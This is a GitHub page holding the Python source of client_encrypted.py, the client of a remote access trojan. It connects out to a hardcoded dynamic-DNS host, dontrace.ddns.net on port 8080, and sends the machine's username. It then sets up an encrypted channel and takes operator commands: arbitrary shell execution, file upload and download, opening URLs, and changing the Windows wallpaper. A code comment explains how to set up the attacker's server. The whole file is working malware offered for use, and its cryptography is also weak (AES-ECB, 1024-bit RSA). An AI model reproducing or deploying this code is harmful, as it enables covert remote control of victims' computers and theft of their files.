Repository navigation
Expand file tree
/
Copy pathclient_encrypted.py
More file actions
212 lines (140 loc) · 5.04 KB
/
Copy pathclient_encrypted.py
File metadata and controls
212 lines (140 loc) · 5.04 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
#!/usr/bin/env python
import socket
import subprocess
import os
import webbrowser
import platform
import ctypes
import hashlib
import Crypto
import Crypto.Random
from Crypto.Cipher import AES
from Crypto.PublicKey import RSA
# salt size in bytes
SALT_SIZE = 16
# number of iterations in the key generation
NUMBER_OF_ITERATIONS = 20
# the size multiple required for AES
AES_MULTIPLE = 16
def generate_key(password, salt, iterations):
assert iterations > 0
key = password + salt
for i in range(iterations):
key = hashlib.sha256(key).digest()
return key
def pad_text(text, multiple):
extra_bytes = len(text) % multiple
padding_size = multiple - extra_bytes
padding = chr(padding_size) * padding_size
padded_text = text + padding
return padded_text
def unpad_text(padded_text):
padding_size = ord(padded_text[-1])
text = padded_text[:-padding_size]
return text
def encrypt(plaintext, password):
salt = Crypto.Random.get_random_bytes(SALT_SIZE)
key = generate_key(password, salt, NUMBER_OF_ITERATIONS)
cipher = AES.new(key, AES.MODE_ECB)
padded_plaintext = pad_text(plaintext, AES_MULTIPLE)
ciphertext = cipher.encrypt(padded_plaintext)
ciphertext_with_salt = salt + ciphertext
return ciphertext_with_salt
def decrypt(ciphertext, password):
salt = ciphertext[0:SALT_SIZE]
ciphertext_sans_salt = ciphertext[SALT_SIZE:]
key = generate_key(password, salt, NUMBER_OF_ITERATIONS)
cipher = AES.new(key, AES.MODE_ECB)
padded_plaintext = cipher.decrypt(ciphertext_sans_salt)
plaintext = unpad_text(padded_plaintext)
return plaintext
def transfer(s,command,username):
x1,src,dst=map(str,command.split(' '))
if (x1=='download'):
if os.path.exists(src):
f = open(src, 'rb')
packet = f.read(1024)
while packet != '':
s.send(packet)
packet = f.read(1024)
s.send('DONE')
f.close()
else: # the file doesn't exist
s.send('Unable to find out the file')
md5_cl=hashlib.md5(open(src,'rb').read()).hexdigest()
md5_sv=s.recv(1024)
if md5_sv==md5_cl :
s.send('md5 OK')
else :
s.send('md5 NOK')
elif (x1=='upload'):
file_to_write=open(dst,'wb')
bits=s.recv(1024)
while True:
if not bits.endswith('DONE'):
file_to_write.write(bits)
elif bits.endswith('DONE'):
bits=bits.replace('DONE','')
file_to_write.write(bits)
file_to_write.close()
break
bits=s.recv(1024)
md5_cl=hashlib.md5(open(dst,'rb').read()).hexdigest()
md5_sv=s.recv(1024)
if md5_cl==md5_sv:
s.send('md5 OK')
else :
s.send('md5 NOK')
def __browse(s,command):
new = 2
url=command.split(' ')[-1]
url="http://"+url
webbrowser.open(url)
def change_desktop_bg(s,command):
bg_path=str(command.split(' ')[-1])
SPI_SETDESKWALLPAPER = 20
ctypes.windll.user32.SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0, bg_path , 0)
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#rmdomain is the freee dynamic domain name you created for your server it should be easy to configure it just download noip client
#start the client, configure your router/firewall to redirect traffic for port 8080 to your internal server and that should be it
rmdomain='dontrace.ddns.net'
while True:
rhost=socket.gethostbyname(rmdomain)
if s.connect_ex((rhost,8080))==0:
break
os=str(platform.system())
CMD = subprocess.Popen('whoami', shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
username=str(CMD.stdout.read().split('\\')[-1])
s.send(username)
private_key = RSA.generate(1024)
public_key = private_key.publickey()
send_public=public_key.exportKey()
s.send(send_public)
secret_enc=s.recv(1024)
secret=private_key.decrypt(secret_enc)
s.send(secret)
while True:
command=decrypt(s.recv(1024),secret)
if 'terminate' in command:
s.close()
break
elif 'download' in command:
transfer(s,command,username)
elif 'upload' in command:
transfer(s,command,username)
elif 'browse' in command:
__browse(s,command)
elif ('change_desktop_bg' in command ) and (os=='Windows'): #BTW This is working only on windows
change_desktop_bg(s,command)
else:
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
out=CMD.stdout.read()
err=CMD.stderr.read()
if err:
s.send(encrypt(err,secret) )
else :
s.send(encrypt(out,secret) )
def main ():
connect()
main()